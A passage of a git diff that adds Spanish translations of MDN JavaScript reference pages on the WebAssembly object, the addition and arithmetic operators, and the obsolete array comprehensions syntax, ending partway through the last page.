diff --git a/files/es/web/javascript/referencia/objetos_globales/webassembly/index.html b/files/es/web/javascript/referencia/objetos_globales/webassembly/index.html
new file mode 100644
index 0000000000..80542d763d
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/webassembly/index.html
@@ -0,0 +1,120 @@
+---
+title: WebAssembly
+slug: Web/JavaScript/Referencia/Objetos_globales/WebAssembly
+tags:
+  - API
+  - Experimental
+  - JavaScript
+  - Objeto
+  - Referencia
+  - WebAssembly
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly
+---
+<div>{{JSRef}}</div>
+
+<p>El objeto <strong><code>WebAssembly</code></strong> de JavaScript actua como un namespace para todas las funcionalidades realcionados con <a href="/en-US/docs/WebAssembly">WebAssembly</a>.</p>
+
+<p>A diferencia de otros objetos globales, <code>WebAssembly</code> no tiene un constructor (no tiene una función para crear el objeto). Puedes ser comparado con el objeto {{jsxref("Math")}}, que también es un namespace, para funciones y constantes matemáticas, o también con {{jsxref("Intl")}} que es un namespace para internacionalización y otras funciones de idioma.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Los usos primarios para el objeto <code>WebAssembly</code> son:</p>
+
+<ul>
+ <li>Cargar código WebAssembly, utilizando la función {{jsxref("WebAssembly.instantiate()")}}.</li>
+ <li>Crear nuevas instancias de memoria y de tablas mediante los constructores {{jsxref("WebAssembly.Memory()")}}/{{jsxref("WebAssembly.Table()")}}.</li>
+ <li>Facilitar el manejo de errores que ocurren dentro de un WebAssembly mediante los constructores:{{jsxref("WebAssembly.CompileError()")}}/{{jsxref("WebAssembly.LinkError()")}}/{{jsxref("WebAssembly.RuntimeError()")}}.</li>
+</ul>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{jsxref("WebAssembly.instantiate()")}}</dt>
+ <dd>El API primaria para compilar e instanciar código WebAssembly, ambos regresan un <code>Module</code> y el primero <code>Instance</code>.</dd>
+ <dt>{{jsxref("WebAssembly.instantiateStreaming()")}}</dt>
+ <dd>Compila e instancia un módulo WebAssembly directamente desde un flujo de origen subyacente, ambos regresan un <code>Module</code> y el primero <code>Instance</code>.</dd>
+ <dt>{{jsxref("WebAssembly.compile()")}}</dt>
+ <dd>Compila un {{jsxref("WebAssembly.Module")}} desde el código binario de un WebAssembly, manteniendo la creación de la instancia como un objeto separado.</dd>
+ <dt>{{jsxref("WebAssembly.compileStreaming()")}}</dt>
+ <dd>compila un {{jsxref("WebAssembly.Module")}} directamente desde un flujo de origen subyacente, manteniendo la creación de la instancia como un objeto sepraado.</dd>
+ <dt>{{jsxref("WebAssembly.validate()")}}</dt>
+ <dd>Valida un arreglo con tipo de código binario de un WebAssembly, regresando si los bytes son código válido WebAssembly (<code>true</code>) o de lo contrario (<code>false</code>).</dd>
+</dl>
+
+<h2 id="Constructores">Constructores</h2>
+
+<dl>
+ <dt>{{jsxref("WebAssembly.Module()")}}</dt>
+ <dd>Crea un nuevo objeto WebAssembly <code>Module</code>.</dd>
+ <dt>{{jsxref("WebAssembly.Instance()")}}</dt>
+ <dd>Crear un nuevo objeto WebAssembly <code>Instance</code>.</dd>
+ <dt>{{jsxref("WebAssembly.Memory()")}}</dt>
+ <dd>Crear un nuevo objeto WebAssembly <code>Memory</code>.</dd>
+ <dt>{{jsxref("WebAssembly.Table()")}}</dt>
+ <dd>Crear un nuevo objeto WebAssembly <code>Table</code>.</dd>
+ <dt>{{jsxref("WebAssembly.CompileError()")}}</dt>
+ <dd>Crear un nuevo objeto WebAssembly <code>CompileError</code>.</dd>
+ <dt>{{jsxref("WebAssembly.LinkError()")}}</dt>
+ <dd>Crear un nuevo objeto WebAssembly <code>LinkError</code>.</dd>
+ <dt>{{jsxref("WebAssembly.RuntimeError()")}}</dt>
+ <dd>Crear un nuevo objeto WebAssembly <code>RuntimeError</code>.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Después de obtener algún bytecode de WebAssembly usando la sentencia fetch, nosotros compilamos e instanciamos el módulo usando la función {{jsxref("WebAssembly.instantiate()")}} , importando una función de JavaScript en el WebAssembly Module en el proceso. Esta premisa resuelve a un objeto (<code>result</code>) que contenga un objeto <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module">Module</a></code> compilado y un objeto <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance">Instance</a></code> . Entonces tenemos una llamada a <a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly function</a> que es exportada por <code>Instance</code>.</p>
+
+<pre class="brush: js">var importObject = {
+  imports: {
+    imported_func: function(arg) {
+      console.log(arg);
+    }
+  }
+};
+
+fetch('simple.wasm').then(response =&gt;
+  response.arrayBuffer()
+).then(bytes =&gt;
+  WebAssembly.instantiate(bytes, importObject)
+).then(result =&gt;
+  result.instance.exports.exported_func()
+);</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Ver <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/index.html">index.html</a> en GitHub (<a href="https://mdn.github.io/webassembly-examples/js-api-examples/">view it live also</a>) para un ejemplo que hace uso de la función <code><a href="https://github.com/mdn/webassembly-examples/blob/master/wasm-utils.js#L1">fetchAndInstantiate()</a></code>.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebAssembly JS', '#the-webassembly-object', 'WebAssembly')}}</td>
+   <td>{{Spec2('WebAssembly JS')}}</td>
+   <td>Definición inicial del borrador.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de Navegadores</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad en esta página es generado desde datos estructurados. Si deseas contribuir a esta información, por favor revisa <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envía una solicitud.</div>
+
+<p>{{Compat("javascript.builtins.WebAssembly")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">Vista General de WebAssembly</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">Conceptos de WebAssembly </a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Uso de la API de JavaScript de WebAssembly </a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/adición/index.html b/files/es/web/javascript/referencia/operadores/adición/index.html
new file mode 100644
index 0000000000..888845158a
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/adición/index.html
@@ -0,0 +1,77 @@
+---
+title: Adición (+)
+slug: Web/JavaScript/Referencia/Operadores/Adición
+translation_of: Web/JavaScript/Reference/Operators/Addition
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>El operador de adición (<code>+</code>) produce la suma de operandos numéricos o la concatenación de (cadenas) string.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-addition.html")}}</div>
+
+<div></div>
+
+<p class="hidden">La fuente para este ejemplo interactivo está almacenado en un repositorio Github. Si te gustaría contribuir al proyecto de ejemplos interactivos, por favor clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envianos una pull-request.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate"><strong>Operator:</strong> <var>x</var> + <var>y</var>
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Adición_numérica">Adición numérica</h3>
+
+<pre class="brush: js notranslate">// Número + Número -&gt; adición
+1 + 2 // 3
+
+// Booleano + Número -&gt; adición
+true + 1 // 2
+
+// Booleano + Booleano -&gt; adición
+false + false // 0
+</pre>
+
+<h3 id="Concatenación_de_cadenas_String">Concatenación de (cadenas) String</h3>
+
+<pre class="brush: js notranslate">// String + String -&gt; concatenación
+'fut' + 'bol' // "futbol"
+
+// Número + String -&gt; concatenación
+5 + 'oh' // "5oh"
+
+// String + Booleano -&gt; concatenación
+'fut' + false // "futfalse"</pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-addition-operator-plus', 'Addition operator')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Explorador">Compatibilidad de Explorador</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página es generada desde datos estructurados. Si quieres contribuir a estos datos, por favor revisa <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envía un pull request.</div>
+
+<p>{{Compat("javascript.operators.addition")}}</p>
+
+<h2 id="También_revisa">También revisa</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Operators/Subtraction">Subtraction operator</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Operators/Division">Division operator</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Operators/Multiplication">Multiplication operator</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Operators/Remainder">Remainder operator</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Operators/Exponentiation">Exponentiation operator</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Operators/Increment">Increment operator</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Operators/Decrement">Decrement operator</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Operators/Unary_negation">Unary negation operator</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Operators/Unary_plus">Unary plus operator</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/operadores/aritméticos/index.html b/files/es/web/javascript/referencia/operadores/aritméticos/index.html
new file mode 100644
index 0000000000..ed3e21620a
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/aritméticos/index.html
@@ -0,0 +1,314 @@
+---
+title: Operadores Aritméticos
+slug: Web/JavaScript/Referencia/Operadores/Aritméticos
+tags:
+  - JavaScript
+  - Operador
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Los operadores Aritméticos toman valores numéricos (ya sean literales o variables) como sus operandos y retornan un valor numérico único. Los operadores aritméticos estándar son adición o suma (+), sustracción o resta (-), multiplicación (*), y división (/).</p>
+
+<p>Estos operadores trabajan al igual que en la mayoría de otros lenguajes de programacion, excepto el operador /, que retorna una división de punto flotante en JavaScript, no una división truncada como en lenguajes tales como C o Java. Por ejemplo:</p>
+
+<p>{{EmbedInteractiveExample("pages/js/expressions-arithmetic.html")}}</p>
+
+<h2 id="Suma_o_adición_()"><a name="Addition">Suma o adición (+)</a></h2>
+
+<p>La operación suma se produce mediante la suma de número o strings concatenados.</p>
+
+<h3 id="Sintaxis">Sintaxis</h3>
+
+<pre class="brush: js"><strong>Operador:</strong> x + y</pre>
+
+<h3 id="Ejemplos">Ejemplos:</h3>
+
+<pre class="brush: js">// Número + Número = Adición
+
+1 + 2 // 3
+
+// Bolean + Número = Adición
+
+true + 1 // 2
+
+// Bolean + Bolean // Adición
+
+false + false // 0
+
+// Número + String = Concatenación
+
+5 + 'foo' // "5foo"
+
+// String + Bolean = Concatenación
+
+'foo' + true // "footrue"
+
+// String + String = Concatenación
+
+'foo' + 'bar' // "foobar"
+</pre>
+
+<h2 id="Resta_o_sustracción_(-)"><a name="Subtraction">Resta o sustracción (-)</a></h2>
+
+<p>La resta se produce cuando se sutraen el resultado de los operadores, produciendo su diferencia.</p>
+
+<h3 id="Sintaxis_2">Sintaxis</h3>
+
+<pre class="brush: js"><strong>Operador:</strong> x - y</pre>
+
+<h3 id="Ejemplos_2">Ejemplos</h3>
+
+<pre class="brush: js">5 - 3     // 2
+3 - 5     // -2
+'foo' - 3 // NaN
+</pre>
+
+<h2 id="División_()"><a name="Division">División (/)</a></h2>
+
+<p>El operador división se produce el cociente de la operación donde el operando izquierdo es el dividendo y el operando derecho es el divisor.</p>
+
+<h3 id="Sintaxis_3">Sintaxis</h3>
+
+<pre class="brush: js"><strong>Operador:</strong> x / y</pre>
+
+<h3 id="Ejemplos_3">Ejemplos</h3>
+
+<pre class="brush: js">1 / 2      // devuelve 0.5 en JavaScript
+1 / 2      // devuelve 0 en Java
+// (Ninguno de los números es explícitamente un número de punto flotante)
+
+1.0 / 2.0  // devuelve 0.5 en JavaScript y Java
+
+2.0 / 0    // devuelve Infinito en JavaScript
+2.0 / 0.0  // devuelve Infinito
+2.0 / -0.0 // devuelve -Infinito en JavaScript
+</pre>
+
+<h2 id="Multiplicación_(*)"><a name="Multiplication">Multiplicación (*)</a></h2>
+
+<p>El operador multiplicación produce el producto de la multiplicación de los operandos.</p>
+
+<h3 id="Sintaxis_4">Sintaxis</h3>
+
+<pre class="brush: js"><strong>Operador:</strong> x * y</pre>
+
+<h3 id="Ejemplos_4">Ejemplos</h3>
+
+<pre class="brush: js">2 * 2 // 4
+-2 * 2 // -4
+Infinito * 0 // NaN
+Infinito * Infinito // Infinito
+'foo' * 2 // NaN</pre>
+
+<h2 id=".25_.28modular.29" name=".25_.28modular.29">Resto o Residuo  (%)</h2>
+
+<p>El operador resto devuelve el resto que queda cuando un operando se divide por un segundo operando. Siempre toma el signo del dividendo, no el divisor. Utiliza una función de <code>modulo</code> incorporada para producir el resultado, que es el resto entero de dividir <code>var1</code> por <code>var2</code> - por ejemplo - <code>var1</code> modulo <code>var2</code>. <a href="http://wiki.ecmascript.org/doku.php?id=strawman:modulo_operator">Existe una propuesta para obtener un operador de módulo real en una versión futura de ECMAScript</a>, con la diferencia de que el resultado del operador de módulo tomaría el signo del divisor, no el dividendo.</p>
+
+<h3 id="Sintaxis_5">Sintaxis</h3>
+
+<pre class="brush: js"><strong>Operador:</strong> var1 % var2</pre>
+
+<h3 id="Ejemplos_5">Ejemplos</h3>
+
+<pre class="brush: js">12 % 5  // 2
+-1 % 2  // -1
+1 % -2  // 1
+NaN % 2 // NaN
+1 % 2   // 1
+2 % 3   // 2
+-4 % 2  // -0
+5.5 % 2 // 1.5</pre>
+
+<h2 id="Exponenciación_(**)">Exponenciación (**)</h2>
+
+<p>El operador de exponenciación devuelve el resultado de elevar el primer operando al segundo operando de potencia. es decir, <code>var1<sup>var2</sup></code>, en la declaración anterior, donde <code>var1</code> y <code>var2</code> son variables. El operador de exponenciación es asociativo a la derecha. <code>a ** b ** c</code> es igual a <code>a ** (b ** c)</code>.</p>
+
+<h3 id="Sintaxis_6">Sintaxis</h3>
+
+<pre><strong>Operador:</strong> var1 ** var2</pre>
+
+<p> </p>
+
+<h3 id="Notas">Notas</h3>
+
+<p>En la mayoría de los lenguajes como PHP y Python y otros que tienen un operador de exponenciación (**), el operador de exponenciación se define para tener una precedencia más alta que los operadores unarios, como unario + y unario -, pero hay algunas excepciones. Por ejemplo, en Bash, el operador ** se define como de menor precedencia que los operadores unarios. En JavaScript, es imposible escribir una expresión de exponenciación ambigua, es decir, no se puede poner un operador unario (<code>+/-/~/!/delete/void/typeof</code>) inmediatamente antes del número de base.</p>
+
+<pre class="brush: js">-2 ** 2;
+// 4 en Bash, -4 en otros idiomas.
+// Esto no es válido en JavaScript, ya que la operación es ambigua.
+
+
+-(2 ** 2);
+// -4 en JavaScript y la intención del autor no es ambigua.</pre>
+
+<h3 id="Ejemplos_6">Ejemplos</h3>
+
+<pre class="brush: js">2 ** 3        // 8
+3 ** 2        // 9
+3 ** 2.5      // 15.588457268119896
+10 ** -1      // 0.1
+NaN ** 2      // NaN
+
+2 ** 3 ** 2   // 512
+2 ** (3 ** 2) // 512
+(2 ** 3) ** 2 // 64</pre>
+
+<p>Para invertir el signo del resultado de una expresión de exponenciación:</p>
+
+<pre class="brush: js">-(2 ** 2) // -4</pre>
+
+<p>Para forzar la base de una expresión de exponenciación a ser un número negativo:</p>
+
+<pre class="brush: js">(-2) ** 2 // 4</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> JavaScript también tiene <a href="/es/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_XOR">un operador bit a bit ^ (logical XOR)</a>. <code>**</code> y <code>^</code> son diferentes (por ejemplo: <code>2 ** 3 === 8</code> cuando <code>2 ^ 3 === 1</code>.)</p>
+</div>
+
+<p> </p>
+
+<h2 id=".2B.2B_.28incremento.29" name=".2B.2B_.28incremento.29">Incremento (++)</h2>
+
+<p> </p>
+
+<p>El operador de incremento incrementa (agrega uno a) su operando y devuelve un valor.</p>
+
+<ul>
+ <li>Si se usa postfijo, con el operador después del operando (por ejemplo, x++), devuelve el valor antes de incrementar.</li>
+ <li>Si se usa prefijo, con el operador antes del operando (por ejemplo, ++x), devuelve el valor después de incrementar.</li>
+</ul>
+
+<h3 id="Sintaxis_7">Sintaxis</h3>
+
+<pre><strong>Operador:</strong> x++ o ++x</pre>
+
+<h3 id="Ejemplos_7">Ejemplos</h3>
+
+<pre class="brush: js">// Postfijo
+var x = 3;
+y = x++; // y = 3, x = 4
+
+// Prefijo
+var a = 2;
+b = ++a; // a = 3, b = 3
+</pre>
+
+<h2 id="--_.28decremento.29" name="--_.28decremento.29">Decremento (--)</h2>
+
+<p>El operador de decremento disminuye (resta uno de) su operando y devuelve un valor.</p>
+
+<ul>
+ <li>Si se usa postfijo (por ejemplo, x--), devuelve el valor antes de decrementar.</li>
+ <li>Si usa el prefijo (por ejemplo, --x), entonces devuelve el valor después de decrementar.</li>
+</ul>
+
+<h3 id="Sintaxis_8">Sintaxis</h3>
+
+<pre><strong>Operador:</strong> x-- o --x</pre>
+
+<h3 id="Ejemplos_8">Ejemplos</h3>
+
+<pre class="brush: js">// Postfijo
+var x = 3;
+y = x--; // y = 3, x = 2
+
+// Prefijo
+var a = 2;
+b = --a; // a = 1, b = 1</pre>
+
+<p> </p>
+
+<h2 id="-_.28negaci.C3.B3n_unitario.29" name="-_.28negaci.C3.B3n_unitario.29">Negación unaria (-)</h2>
+
+<p>El operador de negación unaria precede su operando y lo niega.</p>
+
+<h3 id="Sintaxis_9">Sintaxis</h3>
+
+<pre><strong>Operador:</strong> -x</pre>
+
+<h3 id="Ejemplos_9">Ejemplos</h3>
+
+<pre class="brush: js">var x = 3;
+y = -x; // y = -3, x = 3
+
+// el operador de negación unario puede convertir no-números en un número
+var x = "4";
+y = -x; // y = -4</pre>
+
+<h2 id="Unario_más_()">Unario más (+)</h2>
+
+<p>El operador unario más precede su operando y evalúa su operando, pero intenta convertirlo en un número, si no lo está. Aunque la negación unaria (-) también puede convertir no números, unario plus es la manera más rápida y preferida de convertir algo en un número, porque no realiza ninguna otra operación en el número. Puede convertir representaciones de cadenas de enteros y flotantes, así como los valores que no sean cadenas <code>true</code>, <code>false</code> y <code>null</code>. Se admiten enteros en formato decimal y hexadecimal ("0x" -prefijado). Los números negativos son compatibles (aunque no para hexadecimal). Si no puede analizar un valor particular, evaluará a <a href="/es/docs/Web/JavaScript/Reference/Global_Objects/NaN">NaN</a>.</p>
+
+<h3 id="Sintaxis_10">Sintaxis</h3>
+
+<pre><strong>Operador:</strong> +x</pre>
+
+<h3 id="Ejemplos_10">Ejemplos</h3>
+
+<pre class="brush: js">+3     // 3
++'3'   // 3
++true  // 1
++false // 0
++null  // 0
++function(val){  return val } // NaN</pre>
+
+<p> </p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.3')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>
+    <p>Definido en varias secciones de la especificación: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.6">Operadores aditivos</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.5">Operadores multiplicativos</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.3">Expresiones Postfijas</a>, <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-11.4">Operadores unarios.</a></p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-postfix-expressions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>
+    <p>Definido en varias secciones de la especificación: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-additive-operators">Operadores aditivos</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-multiplicative-operators">Operadores multiplicativos</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-postfix-expressions">Expresiones Postfijas</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-unary-operators">Operadores unarios.</a></p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2016', '#sec-postfix-expressions')}}</td>
+   <td>{{Spec2('ES2016')}}</td>
+   <td><a href="https://github.com/rwaldron/exponentiation-operator">Operador de exponenciación</a> agregado.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2017', '#sec-postfix-expressions')}}</td>
+   <td>{{Spec2('ES2017')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-additive-operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("javascript.operators.arithmetic")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">Operadores de Asignación</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/web/javascript/referencia/operadores/array_comprehensions/index.html b/files/es/web/javascript/referencia/operadores/array_comprehensions/index.html
new file mode 100644
index 0000000000..d85bfa8b6e
--- /dev/null
+++ b/files/es/web/javascript/referencia/operadores/array_comprehensions/index.html
@@ -0,0 +1,195 @@
+---
+title: Comprensiones de arreglo
+slug: Web/JavaScript/Referencia/Operadores/Array_comprehensions
+tags:
+  - JavaScript
+  - No estandar
+  - Obsoleto
+  - Operador
+  - Referencia
+translation_of: Archive/Web/JavaScript/Array_comprehensions
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<div class="warning"><strong>No es un estándar. ¡No utilizar!</strong><br>
+La sintaxis de <em>array comprehensions</em> no es estándar y ha sido removida desde Firefox 58. Para usos futuros, considera utilizar: {{jsxref("Array.prototype.map")}}, {{jsxref("Array.prototype.filter")}}, {{jsxref("Functions/Arrow_functions", "arrow functions", "", 1)}} o {{jsxref("Operators/Spread_operator", "spread syntax", "", 1)}}.</div>
+
+<p>{{Obsolete_Header(58)}}</p>
+
+<p>La sintaxis de <strong><em>array comprehension</em></strong> era una expresión JavaScript, la cual permitía crear rápidamente un nuevo arreglo basado en otro existente. Sin embargo, ha sido removida del estándar y de la implementación de Firefox. ¡No lo utilices!</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">[for (x of iterable) x]
+[for (x of iterable) if (condition) x]
+[for (x of iterable) for (y of iterable) x + y]
+</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Dentro de las comprensiones de arreglo son permitidos estos dos tipos de componentes:</p>
+
+<ul>
+ <li>{{jsxref("Statements/for...of", "for...of")}}</li>
+ <li>{{jsxref("Statements/if...else", "if")}}</li>
+</ul>
+
+<p>La iteración for-of es siempre el primer componente. Son permitidas múltiples iteraciones for-of o sentencias if.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Comprensiones_de_arreglo_simples">Comprensiones de arreglo simples</h3>
+
+<pre class="brush:js">[for (i of [ 1, 2, 3 ]) i*i ];
+// [ 1, 4, 9 ]
+
+var abc = [ "A", "B", "C" ];
+[for (letters of abc) letters.toLowerCase()];
+// [ "a", "b", "c" ]</pre>
+
+<h3 id="Comprensiones_de_arreglo_con_sentencia_if">Comprensiones de arreglo con sentencia if</h3>
+
+<pre class="brush: js">var years = [ 1954, 1974, 1990, 2006, 2010, 2014 ];
+[for (year of years) if (year &gt; 2000) year];
+// [ 2006, 2010, 2014 ]
+[for (year of years) if (year &gt; 2000) if(year &lt; 2010) year];
+// [ 2006], lo mismo de arriba:
+[for (year of years) if (year &gt; 2000 &amp;&amp; year &lt; 2010) year];
+// [ 2006]
+</pre>
+
+<h3 id="Comprensiones_de_arreglo_comparado_a_map_y_filter">Comprensiones de arreglo comparado a <code>map</code> y <code>filter</code></h3>
+
+<p>Una manera sencilla de entender la sintaxis de comprensión de arreglo, es compararla con los métodos de Array {{jsxref("Array.map", "map")}} y {{jsxref("Array.filter", "filter")}}:</p>
+
+<pre class="brush: js">var numbers = [ 1, 2, 3 ];
+
+numbers.map(function (i) { return i * i });
+numbers.map(i =&gt; i*i);
+[for (i of numbers) i*i ];
+// todos son [ 1, 4, 9 ]
+
+numbers.filter(function (i) { return i &lt; 3 });
+numbers.filter(i =&gt; i &lt; 3);
+[for (i of numbers) if (i &lt; 3) i];
+// todos son [ 1, 2 ]
+</pre>
+
+<h3 id="Comprensiones_de_arreglo_con_dos_arreglos">Comprensiones de arreglo con dos arreglos</h3>
+
+<p>Utilizando dos iteraciones for-of para trabajar con dos arreglos:</p>
+
+<pre class="brush: js">var numbers = [ 1, 2, 3 ];
+var letters = [ "a", "b", "c" ];
+
+var cross = [for (i of numbers) for (j of letters) i+j];
+// [ "1a", "1b", "1c", "2a", "2b", "2c", "3a", "3b", "3c" ]
+
+var grid = [for (i of numbers) [for (j of letters) i+j]];
+// [
+//  ["1a", "1b", "1c"],
+//  ["2a", "2b", "2c"],
+//  ["3a", "3b", "3c"]
+// ]
+
+[for (i of numbers) if (i &gt; 1) for (j of letters) if(j &gt; "a") i+j]
+// ["2b", "2c", "3b", "3c"], lo mismo de arriba:
+
+[for (i of numbers) for (j of letters) if (i &gt; 1) if(j &gt; "a") i+j]
+// ["2b", "2c", "3b", "3c"]
+
+[for (i of numbers) if (i &gt; 1) [for (j of letters) if(j &gt; "a") i+j]]
+// [["2b", "2c"], ["3b", "3c"]], no lo mismo de arriba:
+
+[for (i of numbers) [for (j of letters) if (i &gt; 1) if(j &gt; "a") i+j]]
+// [[], ["2b", "2c"], ["3b", "3c"]]
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Estuvo inicialmente en el borrador de ECMAScript 6, pero se eliminó en la revisión 27 (Agosto 2014). Por favor ver revisiones mas viejas de ES6 para semánticas de especificación. Se espera que haya una versión actualizada en un nuevo borrador de ES2016 / ES7.</p>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("30") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("30") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Notas_de_implementación_específicas_de_SpiderMonkey">Notas de implementación específicas de SpiderMonkey</h2>
+
+<ul>
+ <li>{{jsxref("Statements/let", "let")}} como identificador no es soportado ya que let solo está disponible actualmente en la versión 1.7 de JS y etiquetas de rutinas XUL.</li>
+ <li>Desestructurar en comprensiones todavía no está soportado ({{bug(980828)}}).</li>
+</ul>
+
+<h2 id="Diferencias_con_las_comprensiones_de_los_viejos_JS1.7JS1.8">Diferencias con las comprensiones de los viejos JS1.7/JS1.8</h2>
+
+<ul>
+ <li>Las comprensiones de ES7 crean un ámbito por nodo "for" en lugar de tomar la comprensión como un todo.
+  <ul>
+   <li>Viejo: <code>[()=&gt;x for (x of [0, 1, 2])][1]() // 2</code></li>
+   <li>Nuevo: <code>[for (x of [0, 1, 2]) ()=&gt;x][1]() // 1, cada iteración crea un enlace fresco para x.</code></li>
+   <li>Las comprensiones de ES7 empiezan con "for" en lugar de la expresión de asignación.
+    <ul>
+     <li>Viejo: <code>[i * 2 for (i of numbers)]</code></li>
+     <li>Nuevo: <code>[for (i of numbers) i * 2]</code></li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>Las comprensiones de ES7 pueden tener múltiples componentes <code>if</code> y <code>for</code>.</li>
